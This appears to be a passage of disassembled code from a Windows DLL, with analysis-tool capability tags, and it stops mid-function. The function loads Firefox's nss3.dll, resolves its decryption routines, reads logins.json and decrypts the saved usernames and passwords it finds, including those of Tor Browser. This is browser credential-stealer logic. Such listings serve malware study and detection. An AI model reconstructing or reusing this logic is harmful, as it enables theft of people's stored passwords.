Function at 0x18009cbf0
Capabilities:
Check if file exists
Get file attributes
Link many functions at runtime
Set current directory

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x388]
sub rsp, 0x488
mov rax, qword [0x18012a010]
xor rax, rsp
mov qword [rbp + 0x378], rax
xor esi, esi
mov qword [rsp + 0x58], rcx
mov r13, rcx
mov dword [rbp + 0xe0], esi
lea rcx, [rbp + 0x1a8]
mov qword [rbp + 0x278], rsi
mov byte [rbp + 0x268], sil
mov r15, r9
mov r12, r8
mov qword [rsp + 0x30], rdx
mov r14, rdx
mov qword [rbp + 0x280], 0xf
call fcn.1800c2a30
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18009cc70
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov rdi, rax
cmp rdx, 0x10
jb 0x18009ccc0
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x18009ccbb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009e2e0
mov rcx, r8
call fcn.1800cff50
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], sil
test rdi, rdi
jne 0x18009ce1a
xor ebx, ebx
mov qword [r13 + 0x18], 0xf
xor r8d, r8d
mov qword [r13 + 0x10], rbx
lea rdx, [0x18010e0e0]
mov byte [r13], bl
mov rcx, r13
call fcn.1800c30f0
mov rdx, qword [rbp + 0x280]
cmp rdx, 0x10
jb 0x18009cd3d
mov rcx, qword [rbp + 0x268]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cd38
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e2da
call fcn.1800cff50
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18009cd77
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x18009cd72
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009e2da
mov rcx, r8
call fcn.1800cff50
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], 0xf
mov byte [r14], bl
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x18009cdc2
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x18009cdbd
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009e2da
mov rcx, r8
call fcn.1800cff50
mov qword [r12 + 0x10], rbx
mov qword [r12 + 0x18], 0xf
mov byte [r12], bl
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x18009ce0e
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x18009ce09
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x18009e2da
mov rcx, r8
call fcn.1800cff50
mov qword [r15 + 0x10], rbx
mov byte [r15], bl
jmp 0x18009e2a6
lea rdx, str.NSS_Init
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rdi
mov qword [0x18012fa20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rdi
mov qword [0x18012fa38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rdi
mov qword [0x18012fa60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rdi
mov qword [0x18012fa88], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rdi
mov qword [0x18012fb10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rdi
mov qword [0x18012fa68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [r12 + 0x18], 0x10
mov rcx, r12
mov qword [0x18012fa28], rax
jb 0x18009ceca
mov rcx, qword [r12]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor edi, edi
cmp eax, 0xffffffff
je 0x18009cf81
test al, 0x10
je 0x18009cf81
mov r8, qword [r12 + 0x10]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], sil
lea rdx, [r8 + 0xc]
cmp rdx, 0xf
jbe 0x18009cf19
lea rcx, [rsp + 0x38]
call fcn.1800c9530
mov r8, qword [r12 + 0x10]
mov qword [rsp + 0x48], rdi
cmp qword [r12 + 0x18], 0x10
mov rdx, r12
jb 0x18009cf28
mov rdx, qword [r12]
lea rcx, [rsp + 0x38]
call fcn.1800c2860
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rsp + 0x38]
call fcn.1800c2860
cmp qword [rsp + 0x50], 0x10
lea rcx, [rsp + 0x38]
lea rdx, [0x180118cb0]
cmovae rcx, qword [rsp + 0x38]
call fcn.1800dbe68
test rax, rax
je 0x18009cf7c
mov rcx, rax
call fcn.1800dbef8
mov bl, 1
mov esi, 1
jmp 0x18009cf83
mov esi, 1
xor bl, bl
test sil, 1
je 0x18009cfd9
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x18009cfc6
mov rcx, qword [rsp + 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cfc1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e2e6
call fcn.1800cff50
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
test bl, bl
je 0x18009e19e
cmp qword [r12 + 0x18], 0x10
mov rcx, r12
jb 0x18009cff0
mov rcx, qword [r12]
call qword [0x18012fa20]
mov rdx, r12
lea rcx, [rbp + 0x1c8]
call fcn.1800c2a30
mov rcx, rax
call fcn.180092260
mov r13, 0xffffffffffffffff
mov qword [rbp + 0x1f8], rdi
mov r8, r13
mov qword [rbp + 0x200], 0xf
mov byte [rbp + 0x1e8], 0
inc r8
cmp byte [rax + r8], 0
jne 0x18009d030
mov rdx, rax
lea rcx, [rbp + 0x1e8]
call fcn.1800c30f0
cmp qword [rbp + 0x1f8], 0
jbe 0x18009e158
xorps xmm0, xmm0
lea rdx, str._hostname_:_______
xor eax, eax
lea rcx, [rbp + 0x350]
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x370], rax
movups xmmword [rbp + 0x360], xmm0
call fcn.1800c1bb0
xorps xmm0, xmm0
lea rdx, str._encryptedUsername_:_______
xor eax, eax
lea rcx, [rbp + 0x328]
movups xmmword [rbp + 0x328], xmm0
mov qword [rbp + 0x348], rax
movups xmmword [rbp + 0x338], xmm0
call fcn.1800c1bb0
xorps xmm0, xmm0
lea rdx, str._encryptedPassword_:_______
xor eax, eax
lea rcx, [rbp + 0x300]
movups xmmword [rbp + 0x300], xmm0
mov qword [rbp + 0x320], rax
movups xmmword [rbp + 0x310], xmm0
call fcn.1800c1bb0
mov rdx, qword [rbp + 0x200]
lea rbx, [rbp + 0x1e8]
mov rax, qword [rbp + 0x1e8]
xorps xmm0, xmm0
mov r14d, 0xf
mov qword [rbp + 0x218], rdi
cmp rdx, 0x10
mov qword [rbp + 0x258], rdi
mov qword [rbp + 0x238], rdi
mov esi, r14d
cmovae rbx, rax
mov qword [rbp + 0x220], r14
movups xmmword [rbp + 0x290], xmm0
mov byte [rbp + 0x208], 0
mov edi, r14d
movups xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x260], r14
movups xmmword [rbp + 0x2b0], xmm0
mov byte [rbp + 0x248], 0
movups xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x240], r14
movups xmmword [rbp + 0x2d0], xmm0
mov byte [rbp + 0x228], 0
movups xmmword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x2f0], xmm0
nop word [rax + rax]
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rbp + 0x1f8]
lea rcx, [rbp + 0x1e8]
cmovae rcx, rax
lea r9, [rbp + 0x350]
add rdx, rcx
lea r8, [rbp + 0x290]
mov rcx, rbx
call fcn.1800c89a0
test al, al
je 0x18009ded8
mov rcx, qword [rbp + 0x2a8]
movabs rdi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0x2a0]
mov rax, rdi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x2e8]
cmp rdx, 1
jbe 0x18009d1fc
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x18009d20b
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
jmp 0x18009d213
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov rdx, qword [rbp]
xor r14d, r14d
mov r8, qword [rbp + 8]
mov eax, 0xf
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], rax
mov byte [rbp - 0x20], r14b
cmp rdx, r8
je 0x18009d244
sub r8, rdx
lea rcx, [rbp - 0x20]
call fcn.1800c30f0
mov rax, qword [rbp - 8]
cmp rax, 0x10
lea rcx, [rbp - 0x20]
cmovae rcx, qword [rbp - 0x20]
call fcn.180092da0
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x18009d260
mov rdx, rax
lea rcx, [rbp + 0x208]
call fcn.1800c30f0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x18009d2b3
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d2ae
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e2ec
call fcn.1800cff50
cmp qword [rbp + 0x200], 0x10
lea rcx, [rbp + 0x1e8]
mov rdx, qword [rbp + 0x1f8]
lea r9, [rbp + 0x328]
cmovae rcx, qword [rbp + 0x1e8]
lea r8, [rbp + 0x290]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800c89a0
mov rcx, qword [rbp + 0x2a8]
mov rax, rdi
mov r8, qword [rbp + 0x2a0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x2e8]
cmp rdx, 1
jbe 0x18009d325
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r14b
je 0x18009d334
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
jmp 0x18009d33c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov qword [rbp + 0xf8], r14
mov qword [rbp + 0x100], 0xf
mov byte [rbp + 0xe8], r14b
cmp rdx, r8
je 0x18009d371
sub r8, rdx
lea rcx, [rbp + 0xe8]
call fcn.1800c30f0
lea rcx, [rbp + 0xe8]
call fcn.18009ca20
mov rcx, rax
call fcn.180092da0
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x18009d390
mov rdx, rax
lea rcx, [rbp + 0x248]
call fcn.1800c30f0
cmp qword [rbp + 0x200], 0x10
lea rcx, [rbp + 0x1e8]
mov rdx, qword [rbp + 0x1f8]
lea r9, [rbp + 0x300]
cmovae rcx, qword [rbp + 0x1e8]
lea r8, [rbp + 0x290]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800c89a0
mov rcx, qword [rbp + 0x2a8]
mov rax, rdi
mov r8, qword [rbp + 0x2a0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x2e8]
cmp rdx, 1
jbe 0x18009d41a
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r14b
je 0x18009d429
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
jmp 0x18009d431
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
mov rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x28]
mov qword [rbp + 0x118], r14
mov qword [rbp + 0x120], 0xf
mov byte [rbp + 0x108], r14b
cmp rdx, r8
je 0x18009d466
sub r8, rdx
lea rcx, [rbp + 0x108]
call fcn.1800c30f0
lea rcx, [rbp + 0x108]
call fcn.18009ca20
mov rcx, rax
call fcn.180092da0
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x18009d480
mov rdx, rax
lea rcx, [rbp + 0x228]
call fcn.1800c30f0
mov r8d, 8
mov qword [rbp + 0x50], r14
cmp qword [rbp + 0x218], r8
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x40]
mov qword [rbp + 0x58], 0xf
cmovb r8, qword [rbp + 0x218]
cmp qword [rbp + 0x220], 0x10
mov byte [rbp + 0x40], r14b
cmovae rdx, qword [rbp + 0x208]
call fcn.1800c30f0
mov rdx, qword [rbp + 0x58]
lea rax, [rbp + 0x40]
mov rcx, qword [rbp + 0x40]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rbp + 0x50], 8
jne 0x18009d50c
movabs r8, 0x2f2f3a687475616f
cmp qword [rax], r8
jne 0x18009d50c
xor dil, dil
jmp 0x18009d50f
mov dil, 1
cmp rdx, 0x10
jb 0x18009d542
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d53d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e30a
call fcn.1800cff50
test dil, dil
je 0x18009de3f
mov rax, qword [r15 + 0x18]
mov rcx, r15
cmp rax, 0x10
jb 0x18009d55b
mov rcx, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x18009d9f2
cmp byte [rcx], 0x30
jne 0x18009d9f2
mov rdi, qword [rbp + 0x218]
mov rcx, rax
mov r14, qword [rbp + 0x258]
mov rsi, qword [rbp + 0x238]
test rdi, rdi
je 0x18009da0a
test r14, r14
je 0x18009da0a
test rsi, rsi
je 0x18009da0a
lea rdx, [rdi + 1]
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
cmp rdx, 0x10
jb 0x18009d5d6
lea rcx, [rsp + 0x60]
call fcn.1800c9530
mov qword [rsp + 0x70], 0
mov r8d, 1
lea rdx, [0x180118d10]
lea rcx, [rsp + 0x60]
call fcn.1800c2860
cmp qword [rbp + 0x220], 0x10
lea rdx, [rbp + 0x208]
mov r8, rdi
lea rcx, [rsp + 0x60]
cmovae rdx, qword [rbp + 0x208]
call fcn.1800c2860
mov r8d, 1
lea rdx, [0x180118d0c]
lea rcx, [rsp + 0x60]
call fcn.1800c2860
xor edi, edi
lea rdx, [rbp + 0x128]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x128], xmm0
mov byte [rax], dil
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x138], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x268]
call fcn.1800c2860
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x18009d6c2
mov rcx, qword [rbp + 0x128]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d6bd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e2f2
call fcn.1800cff50
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x18009d6ff
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d6fa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e2f2
call fcn.1800cff50
lea rdx, [r14 + 1]
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], dil
cmp rdx, 0x10
jb 0x18009d726
lea rcx, [rbp - 0x80]
call fcn.1800c9530
mov qword [rbp - 0x70], rdi
mov r8d, 1
lea rdx, [0x180118d10]
lea rcx, [rbp - 0x80]
call fcn.1800c2860
cmp qword [rbp + 0x260], 0x10
lea rdx, [rbp + 0x248]
mov r8, r14
lea rcx, [rbp - 0x80]
cmovae rdx, qword [rbp + 0x248]
call fcn.1800c2860
mov r8d, 1
lea rdx, [0x180118d0c]
lea rcx, [rbp - 0x80]
call fcn.1800c2860
lea rdx, [rbp + 0x148]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x148], xmm0
mov byte [rax], dil
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x158], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x268]
call fcn.1800c2860
mov rdx, qword [rbp + 0x160]
cmp rdx, 0x10
jb 0x18009d80d
mov rcx, qword [rbp + 0x148]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d808
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e2f8
call fcn.1800cff50
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x18009d848
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d843
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e2f8
call fcn.1800cff50
lea rdx, [rsi + 1]
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], dil
cmp rdx, 0x10
jb 0x18009d86f
lea rcx, [rbp - 0x60]
call fcn.1800c9530
mov qword [rbp - 0x50], rdi
mov r8d, 1
lea rdx, [0x180118d10]
lea rcx, [rbp - 0x60]
call fcn.1800c2860
cmp qword [rbp + 0x240], 0x10
lea rdx, [rbp + 0x228]
mov r8, rsi
lea rcx, [rbp - 0x60]
cmovae rdx, qword [rbp + 0x228]
call fcn.1800c2860
mov r8d, 1
lea rdx, [0x180118d0c]
lea rcx, [rbp - 0x60]
call fcn.1800c2860
lea rdx, [rbp + 0x168]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x168], xmm0
mov byte [rax], dil
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x178], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x268]
call fcn.1800c2860
mov rdx, qword [rbp + 0x180]
cmp rdx, 0x10
jb 0x18009d956
mov rcx, qword [rbp + 0x168]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d951
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e2fe
call fcn.1800cff50
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x18009d991
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d98c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e2fe
call fcn.1800cff50
mov r8d, 1
lea rdx, [0x18010f0fc]
lea rcx, [rbp + 0x268]
call fcn.1800c2860
xor r8d, r8d
lea rdx, [0x18010e0e0]
lea rcx, [rbp + 0x208]
call fcn.1800c30f0
xor r8d, r8d
lea rdx, [0x18010e0e0]
lea rcx, [rbp + 0x248]
call fcn.1800c30f0
xor r8d, r8d
lea rdx, [0x18010e0e0]
lea rcx, [rbp + 0x228]
call fcn.1800c30f0
mov rcx, qword [r15 + 0x18]
jmp 0x18009d9f5
mov rcx, rax
mov rsi, qword [rbp + 0x238]
mov r14, qword [rbp + 0x258]
mov rdi, qword [rbp + 0x218]
mov rax, r15
cmp rcx, 0x10
jb 0x18009da16
mov rax, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x18009de39
cmp byte [rax], 0x31
jne 0x18009de39
test rdi, rdi
je 0x18009de39
test r14, r14
je 0x18009de39
test rsi, rsi
je 0x18009de39
lea rdx, [rdi + 0xf]
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
cmp rdx, 0x10
jb 0x18009da74
lea rcx, [rbp - 0x40]
call fcn.1800c9530
mov qword [rbp - 0x30], 0
mov r8d, 0xf
lea rdx, str.webTorBrowser
lea rcx, [rbp - 0x40]
call fcn.1800c2860
cmp qword [rbp + 0x220], 0x10
lea rdx, [rbp + 0x208]
mov r8, rdi
lea rcx, [rbp - 0x40]
cmovae rdx, qword [rbp + 0x208]
call fcn.1800c2860
mov r8d, 1
lea rdx, [0x180118d18]
lea rcx, [rbp - 0x40]
call fcn.1800c2860
cmp qword [rbp + 0x260], 0x10
lea rdx, [rbp + 0x248]
mov r8, r14
lea rcx, [rbp + 0xc0]
cmovae rdx, qword [rbp + 0x248]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c2860
xor r14d, r14d
lea rdx, [0x180118d18]
lea rcx, [rbp + 0xa0]
movups xmm0, xmmword [rax]
lea r8d, [r14 + 1]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
call fcn.1800c2860
cmp qword [rbp + 0x240], 0x10
lea rdx, [rbp + 0x228]
mov r8, rsi
lea rcx, [rbp + 0x80]
cmovae rdx, qword [rbp + 0x228]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
call fcn.1800c2860
lea r8d, [r14 + 3]
lea rdx, [0x180118d14]
lea rcx, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
call fcn.1800c2860
lea rdx, [rbp + 0x188]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x188], xmm0
mov byte [rax], r14b
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x198], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x268]
call fcn.1800c2860
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0x10
jb 0x18009dc63
mov rcx, qword [rbp + 0x188]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009dc5e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e304
call fcn.1800cff50
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x18009dc9e
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009dc99
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e304
call fcn.1800cff50
mov rdx, qword [rbp + 0x98]
mov qword [rbp + 0x70], r14
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], r14b
cmp rdx, 0x10
jb 0x18009dcef
mov rcx, qword [rbp + 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009dcea
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e304
call fcn.1800cff50
mov rdx, qword [rbp + 0xb8]
mov qword [rbp + 0x90], r14
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], r14b
cmp rdx, 0x10
jb 0x18009dd49
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009dd44
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e304
call fcn.1800cff50
mov rdx, qword [rbp + 0xd8]
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], r14b
cmp rdx, 0x10
jb 0x18009dda3
mov rcx, qword [rbp + 0xc0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009dd9e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e304
call fcn.1800cff50
mov rdx, qword [rbp - 0x28]
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], r14b
cmp rdx, 0x10
jb 0x18009ddf7
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009ddf2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e304
call fcn.1800cff50
xor r8d, r8d
lea rdx, [0x18010e0e0]
lea rcx, [rbp + 0x208]
call fcn.1800c30f0
xor r8d, r8d
lea rdx, [0x18010e0e0]
lea rcx, [rbp + 0x248]
call fcn.1800c30f0
xor r8d, r8d
lea rdx, [0x18010e0e0]
lea rcx, [rbp + 0x228]
call fcn.1800c30f0
inc dword [0x18012faa4]
mov r8, qword [rbp + 0x2a0]
movabs rax, 0x2aaaaaaaaaaaaaab
mov rcx, qword [rbp + 0x2a8]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x2e8]
cmovne rax, r8
mov rcx, qword [rax]
lea rax, [rbp + 0x2e8]
sub rcx, qword [rbp + 0x290]
test rdx, rdx
cmovne rax, r8
cmp byte [rax + 0x10], 0
je 0x18009de9d
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
jmp 0x18009dea5
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
sub rcx, qword [rbp + 0x30]
add rcx, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x200]
add rbx, rcx
mov rax, qword [rbp + 0x1e8]
mov r14, qword [rbp + 0x220]
mov rsi, qword [rbp + 0x260]
mov rdi, qword [rbp + 0x240]
jmp 0x18009d180
call qword [0x18012fa28]
cmp rdi, 0x10
jb 0x18009df19
mov rcx, qword [rbp + 0x228]
lea rdx, [rdi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009df14
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e30a
call fcn.1800cff50
cmp rsi, 0x10
jb 0x18009df54
mov rcx, qword [rbp + 0x248]
lea rdx, [rsi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009df4f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e30a
call fcn.1800cff50
cmp r14, 0x10
jb 0x18009df8f
mov rcx, qword [rbp + 0x208]
lea rdx, [r14 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009df8a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e30a
call fcn.1800cff50
mov r8, qword [rbp + 0x2a0]
test r8, r8
je 0x18009e00b
mov rcx, qword [rbp + 0x2b0]
movabs rax, 0x2aaaaaaaaaaaaaab
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x18009dfed
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
